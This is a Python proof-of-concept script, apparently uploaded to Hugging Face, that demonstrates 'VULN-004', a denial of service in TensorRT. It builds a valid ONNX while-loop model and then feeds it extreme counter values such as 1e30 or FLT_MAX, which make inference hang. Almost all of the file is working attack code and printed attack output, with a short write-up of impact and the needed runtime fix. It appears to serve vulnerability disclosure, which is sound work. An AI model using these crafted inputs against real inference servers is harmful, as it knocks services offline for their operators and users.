Upload vuln004_input_dos.py with huggingface_hub

vuln004_input_dos.py

@@ -0,0 +1,289 @@
+"""
+VULN-004 PoC: TensorRT Input-Controlled Denial of Service via While-Loop Models
+
+A structurally valid ONNX model using a condition-dependent Loop operator hangs
+indefinitely during inference when given a malicious input value. The model itself
+is indistinguishable from a legitimate while-loop model.
+
+This is DISTINCT from VULN-003 (static Loop trip count):
+- VULN-003: Malicious MODEL with INT64_MAX max_trip_count -> always hangs
+- VULN-004: Normal MODEL + malicious INPUT -> hangs based on input value
+- VULN-003 fix (validate max_trip_count at build) does NOT prevent VULN-004
+- VULN-004 requires runtime protection (inference timeout / iteration budget)
+
+Attack scenarios:
+1. Production model uses while-loop for variable-length processing
+2. Attacker sends input with extreme counter value (e.g., 1e30)
+3. Inference hangs indefinitely — DoS on the inference server
+4. Affects TensorRT-LLM (autoregressive generation uses loops)
+5. Affects any TRT model with data-dependent loop termination
+
+Impact:
+- Any TRT model using condition-dependent loops is vulnerable
+- Attacker only needs to craft the INPUT, not the model
+- Tiny payload (single float32 value) causes permanent hang
+- No inference timeout in execute_async_v3()
+"""
+import os
+import sys
+import time
+import subprocess
+import numpy as np
+import onnx
+from onnx import helper, TensorProto, numpy_helper
+
+POC_DIR = os.path.dirname(os.path.abspath(__file__))
+
+
+def create_while_loop_model():
+    """Create a LEGITIMATE while-loop model that counts down a counter.
+
+    This is a common pattern in ML models for variable-length processing.
+    The model decrements a counter each iteration, stopping when it reaches 0.
+    With a normal counter (e.g., 10), it runs 10 iterations and returns 0.
+    With a malicious counter (e.g., 1e30), it hangs for astronomical time.
+    """
+    # Loop body: decrement counter, check if > 0
+    body = helper.make_graph(
+        [
+            # x_out = x_in - 1.0
+            helper.make_node('Sub', ['x_in', 'one'], ['x_out']),
+            # cond_out = (x_out > 0.0)
+            helper.make_node('Greater', ['x_out', 'zero'], ['cond_out']),
+        ],
+        'while_body',
+        [helper.make_tensor_value_info('i', TensorProto.INT64, []),
+         helper.make_tensor_value_info('cond_in', TensorProto.BOOL, []),
+         helper.make_tensor_value_info('x_in', TensorProto.FLOAT, [])],
+        [helper.make_tensor_value_info('cond_out', TensorProto.BOOL, []),
+         helper.make_tensor_value_info('x_out', TensorProto.FLOAT, [])],
+        [numpy_helper.from_array(np.array(1.0, dtype=np.float32), 'one'),
+         numpy_helper.from_array(np.array(0.0, dtype=np.float32), 'zero')]
+    )
+
+    # Main graph: Loop with max_trip=INT64_MAX, condition-dependent termination
+    X = helper.make_tensor_value_info('counter', TensorProto.FLOAT, [])
+    Y = helper.make_tensor_value_info('output', TensorProto.FLOAT, [])
+
+    # max_trip_count is INT64_MAX but the loop is expected to terminate via condition
+    max_trip = numpy_helper.from_array(
+        np.array(0x7FFFFFFFFFFFFFFF, dtype=np.int64), 'max_trip'
+    )
+    cond_init = numpy_helper.from_array(np.array(True, dtype=bool), 'cond_init')
+
+    loop = helper.make_node(
+        'Loop', ['max_trip', 'cond_init', 'counter'], ['output'],
+        body=body
+    )
+
+    graph = helper.make_graph([loop], 'while_loop', [X], [Y], [max_trip, cond_init])
+    model = helper.make_model(graph, opset_imports=[helper.make_opsetid('', 13)])
+    model.ir_version = 7
+    return model
+
+
+def create_accumulator_model():
+    """A more realistic model: accumulates values until threshold is reached.
+
+    Simulates a model that processes elements until a running sum exceeds a target.
+    With normal input (target=100), terminates quickly.
+    With malicious input (target=1e38), hangs effectively forever.
+    """
+    body = helper.make_graph(
+        [
+            # acc_out = acc_in + step
+            helper.make_node('Add', ['acc_in', 'step'], ['acc_out']),
+            # cond_out = (acc_out < target_in)
+            helper.make_node('Less', ['acc_out', 'target_in'], ['cond_out']),
+        ],
+        'accum_body',
+        [helper.make_tensor_value_info('i', TensorProto.INT64, []),
+         helper.make_tensor_value_info('cond_in', TensorProto.BOOL, []),
+         helper.make_tensor_value_info('acc_in', TensorProto.FLOAT, []),
+         helper.make_tensor_value_info('target_in', TensorProto.FLOAT, [])],
+        [helper.make_tensor_value_info('cond_out', TensorProto.BOOL, []),
+         helper.make_tensor_value_info('acc_out', TensorProto.FLOAT, []),
+         helper.make_tensor_value_info('target_in', TensorProto.FLOAT, [])],
+        [numpy_helper.from_array(np.array(1.0, dtype=np.float32), 'step')]
+    )
+
+    acc_init = helper.make_tensor_value_info('init_value', TensorProto.FLOAT, [])
+    target = helper.make_tensor_value_info('target', TensorProto.FLOAT, [])
+    acc_out = helper.make_tensor_value_info('final_acc', TensorProto.FLOAT, [])
+    target_out = helper.make_tensor_value_info('target_passthrough', TensorProto.FLOAT, [])
+
+    max_trip = numpy_helper.from_array(
+        np.array(0x7FFFFFFFFFFFFFFF, dtype=np.int64), 'max_trip'
+    )
+    cond_init = numpy_helper.from_array(np.array(True, dtype=bool), 'cond_init')
+
+    loop = helper.make_node(
+        'Loop', ['max_trip', 'cond_init', 'init_value', 'target'],
+        ['final_acc', 'target_passthrough'],
+        body=body
+    )
+
+    graph = helper.make_graph(
+        [loop], 'accumulator',
+        [acc_init, target],
+        [acc_out, target_out],
+        [max_trip, cond_init]
+    )
+    model = helper.make_model(graph, opset_imports=[helper.make_opsetid('', 13)])
+    model.ir_version = 7
+    return model
+
+
+def build_engine(model_path, engine_path):
+    """Build TensorRT engine from ONNX model."""
+    import tensorrt as trt
+
+    logger = trt.Logger(trt.Logger.WARNING)
+    builder = trt.Builder(logger)
+    network = builder.create_network(
+        1 << int(trt.NetworkDefinitionCreationFlag.EXPLICIT_BATCH)
+    )
+    parser = trt.OnnxParser(network, logger)
+
+    if not parser.parse_from_file(model_path):
+        for i in range(parser.num_errors):
+            print(f"  Parse error: {parser.get_error(i)}")
+        return False
+
+    config = builder.create_builder_config()
+    config.set_memory_pool_limit(trt.MemoryPoolType.WORKSPACE, 1 << 24)
+
+    serialized = builder.build_serialized_network(network, config)
+    if not serialized:
+        print("  Build failed")
+        return False
+
+    with open(engine_path, 'wb') as f:
+        f.write(bytes(serialized))
+    return True
+
+
+def test_inference(engine_path, counter_value, timeout=15):
+    """Run inference with a specific counter value."""
+    script = f'''
+import tensorrt as trt, torch, sys, time
+
+with open(r"{engine_path}", "rb") as f:
+    data = f.read()
+
+logger = trt.Logger(trt.Logger.ERROR)
+runtime = trt.Runtime(logger)
+engine = runtime.deserialize_cuda_engine(data)
+if not engine:
+    print("DESER_FAIL"); sys.exit(1)
+
+context = engine.create_execution_context()
+device = torch.device("cuda:0")
+
+counter = torch.tensor({counter_value}, dtype=torch.float32, device=device)
+output = torch.empty(1, dtype=torch.float32, device=device)
+
+context.set_tensor_address("counter", counter.data_ptr())
+context.set_tensor_address("output", output.data_ptr())
+
+stream = torch.cuda.current_stream()
+print("INFERENCE_STARTED")
+sys.stdout.flush()
+start = time.time()
+context.execute_async_v3(stream.cuda_stream)
+stream.synchronize()
+elapsed = time.time() - start
+print(f"DONE time={{elapsed:.3f}}s output={{output.item():.1f}}")
+'''
+    start = time.time()
+    try:
+        r = subprocess.run(
+            [sys.executable, "-c", script],
+            capture_output=True, text=True, timeout=timeout
+        )
+        elapsed = time.time() - start
+        return False, elapsed, r.stdout.strip(), r.returncode
+    except subprocess.TimeoutExpired:
+        elapsed = time.time() - start
+        return True, elapsed, "TIMEOUT", -1
+
+
+def main():
+    print("=" * 70)
+    print("VULN-004: Input-Controlled DoS via While-Loop Models")
+    print("=" * 70)
+
+    # Step 1: Create the while-loop model
+    model = create_while_loop_model()
+    onnx_path = os.path.join(POC_DIR, "while_loop.onnx")
+    with open(onnx_path, 'wb') as f:
+        f.write(model.SerializeToString())
+
+    onnx_size = os.path.getsize(onnx_path)
+    print(f"\n[1] While-loop ONNX model: {onnx_path}")
+    print(f"    Size: {onnx_size} bytes")
+    print(f"    Behavior: Counts down from input value to 0")
+    print(f"    Structure: Perfectly valid -- common ML pattern")
+
+    # Step 2: Build TensorRT engine
+    engine_path = os.path.join(POC_DIR, "while_loop.engine")
+    print(f"\n[2] Building TensorRT engine...")
+    if not build_engine(onnx_path, engine_path):
+        print("    ERROR: Build failed")
+        sys.exit(1)
+
+    engine_size = os.path.getsize(engine_path)
+    print(f"    Engine: {engine_path}")
+    print(f"    Size: {engine_size} bytes")
+    print(f"    Build completed normally -- model is structurally valid")
+
+    # Step 3: Normal usage (benign inputs)
+    print(f"\n[3] Normal inference with benign inputs")
+    for counter_val in [10, 100, 1000]:
+        hung, elapsed, out, rc = test_inference(engine_path, float(counter_val), timeout=10)
+        lines = out.split('\n')
+        result = lines[-1] if lines else f"rc={rc}"
+        print(f"    counter={counter_val:>6d}: {result} ({elapsed:.2f}s)")
+
+    # Step 4: DoS attack (malicious input)
+    print(f"\n[4] DoS attack with malicious inputs")
+    for counter_val, desc in [
+        (1e6, "1 million iterations"),
+        (1e9, "1 billion iterations"),
+        (1e15, "1 quadrillion iterations"),
+        (1e30, "1e30 iterations (astronomical)"),
+        (3.4e38, "FLT_MAX iterations (maximum float32)"),
+    ]:
+        hung, elapsed, out, rc = test_inference(engine_path, counter_val, timeout=15)
+        if hung:
+            print(f"    counter={counter_val:>12.0e}: TIMEOUT after {elapsed:.1f}s — HANGING")
+        else:
+            lines = out.split('\n')
+            result = lines[-1] if lines else f"rc={rc}"
+            print(f"    counter={counter_val:>12.0e}: {result} ({elapsed:.1f}s)")
+
+    # Step 5: Show the attack is input-dependent
+    print(f"\n[5] Same model, same engine — behavior depends entirely on input")
+    print(f"    counter=10    -> completes instantly (10 iterations)")
+    print(f"    counter=1e30  -> hangs for 1e30 iterations")
+    print(f"    At 1 billion iterations/sec: 3.17e13 YEARS")
+
+    # Summary
+    print(f"\n{'='*70}")
+    print("VULNERABILITY SUMMARY")
+    print(f"{'='*70}")
+    print(f"[!!!] Input-controlled DoS via while-loop model")
+    print(f"[!!!] Model is structurally VALID — cannot be detected by static analysis")
+    print(f"[!!!] ONNX size: {onnx_size} bytes  |  Engine size: {engine_size} bytes")
+    print(f"[!!!] DoS triggered by input value, NOT by model structure")
+    print(f"[!!!] VULN-003 fix (validate max_trip_count) does NOT prevent this")
+    print(f"[!!!] Requires runtime protection: inference timeout / iteration budget")
+    print(f"[!!!] Affects any TRT model using data-dependent loops")
+    print(f"[!!!] Relevant to TensorRT-LLM autoregressive generation")
+
+    # Cleanup temp files
+    # Keep the while_loop files as evidence
+
+
+if __name__ == "__main__":
+    main()